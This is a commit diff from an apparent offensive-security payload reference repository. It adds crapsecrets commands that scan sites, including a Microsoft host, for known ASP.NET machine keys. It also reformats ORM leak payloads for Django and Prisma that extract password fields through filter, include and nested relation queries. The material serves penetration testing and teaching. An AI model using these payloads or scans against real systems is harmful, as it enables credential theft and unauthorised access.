Skip to content

Commit bd72827

Browse files
swisskyreposwisskyrepo
committed
ORM leak lint + crapsecret
1 parent 39da032 commit bd72827

4 files changed

Lines changed: 58 additions & 45 deletions

File tree

‎API Key Leaks/IIS-Machine-Keys.md‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,16 @@ Try multiple machine keys from known products, Microsoft documentation, or other
9292
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
9393
```
9494
95+
* [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets)
96+
97+
```ps1
98+
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
99+
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
100+
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
101+
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/
102+
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
103+
```
104+
95105
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
96106
97107
```powershell

‎API Key Leaks/README.md‎

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -13,14 +13,15 @@
1313

1414
## Tools
1515

16-
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
17-
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
18-
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
16+
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.
17+
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms.
18+
- [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks.
19+
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.
1920
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
20-
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
21-
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
22-
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
23-
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
21+
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web.
22+
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
23+
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place.
24+
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints.
2425

2526
```powershell
2627
nuclei -t token-spray/ -var token=token_list.txt

‎ORM Leak/README.md‎

Lines changed: 39 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,8 @@ The ORM provides operators for matching parts of a value. These operators can ut
3636

3737
```json
3838
{
39-
"username": "admin",
40-
"password__startswith": "p"
39+
"username": "admin",
40+
"password__startswith": "p"
4141
}
4242
```
4343

@@ -63,7 +63,7 @@ Filtering through user that created an article, and having a password containing
6363

6464
```json
6565
{
66-
"created_by__user__password__contains": "p"
66+
"created_by__user__password__contains": "p"
6767
}
6868
```
6969

@@ -79,8 +79,8 @@ Use multiple filters in the same request:
7979

8080
```json
8181
{
82-
"created_by__departments__employees__user__username__startswith": "p",
83-
"created_by__departments__employees__user__id": 1
82+
"created_by__departments__employees__user__username__startswith": "p",
83+
"created_by__departments__employees__user__id": 1
8484
}
8585
```
8686

@@ -118,35 +118,35 @@ Example of an ORM leak in Node.JS with Prisma.
118118
119119
```js
120120
const posts = await prisma.article.findMany({
121-
where: req.query.filter as any // Vulnerable to ORM Leaks
121+
where: req.query.filter as any // Vulnerable to ORM Leaks
122122
})
123123
```
124124

125125
Use the include to return all the fields of user records that have created an article
126126

127127
```json
128128
{
129-
"filter": {
130-
"include": {
131-
"createdBy": true
132-
}
129+
"filter": {
130+
"include": {
131+
"createdBy": true
133132
}
133+
}
134134
}
135135
```
136136

137137
Select only one field
138138

139139
```json
140140
{
141-
"filter": {
141+
"filter": {
142+
"select": {
143+
"createdBy": {
142144
"select": {
143-
"createdBy": {
144-
"select": {
145-
"password": true
146-
}
147-
}
145+
"password": true
148146
}
147+
}
149148
}
149+
}
150150
}
151151
```
152152

@@ -160,37 +160,37 @@ Select only one field
160160

161161
```json
162162
{
163-
"query": {
164-
"createdBy": {
165-
"departments": {
163+
"query": {
164+
"createdBy": {
165+
"departments": {
166+
"some": {
167+
"employees": {
168+
"some": {
169+
"departments": {
166170
"some": {
167-
"employees": {
171+
"employees": {
172+
"some": {
173+
"departments": {
168174
"some": {
169-
"departments": {
170-
"some": {
171-
"employees": {
172-
"some": {
173-
"departments": {
174-
"some": {
175-
"employees": {
176-
"some": {
177-
"{fieldToLeak}": {
178-
"startsWith": "{testStartsWith}"
179-
}
180-
}
181-
}
182-
}
183-
}
184-
}
185-
}
186-
}
175+
"employees": {
176+
"some": {
177+
"{fieldToLeak}": {
178+
"startsWith": "{testStartsWith}"
179+
}
187180
}
181+
}
188182
}
183+
}
189184
}
185+
}
190186
}
187+
}
191188
}
189+
}
192190
}
191+
}
193192
}
193+
}
194194
}
195195
```
196196

@@ -227,6 +227,7 @@ Only in Ransack < `4.0.0`.
227227
228228
* [ORM Injection - HackTricks - July 30, 2024](https://book.hacktricks.xyz/pentesting-web/orm-injection)
229229
* [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - July 30, 2024](https://pentesterlab.com/blog/orm-leak-with-sqlite3)
230+
* [ORM Leaking More Than You Joined For - Alex Brown - December 18, 2025](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
230231
* [plORMbing your Django ORM - Alex Brown - June 24, 2024](https://www.elttam.com/blog/plormbing-your-django-orm/)
231232
* [plORMbing your Prisma ORM with Time-based Attacks - Alex Brown - July 9, 2024](https://www.elttam.com/blog/plorming-your-primsa-orm/)
232233
* [QuerySet API reference - Django - August 8, 2024](https://docs.djangoproject.com/en/5.1/ref/models/querysets/)

‎SAML Injection/README.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
## Tools
1818

1919
* [CompassSecurity/SAMLRaider](https://github.com/SAMLRaider/SAMLRaider) - SAML2 Burp Extension.
20+
* [d0ge/XSW](https://github.com/d0ge/XSW) - XML Signature Wrapping Burp Suite Extensions.
2021
* [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.
2122

2223
## Methodology

0 commit comments

Comments
 (0)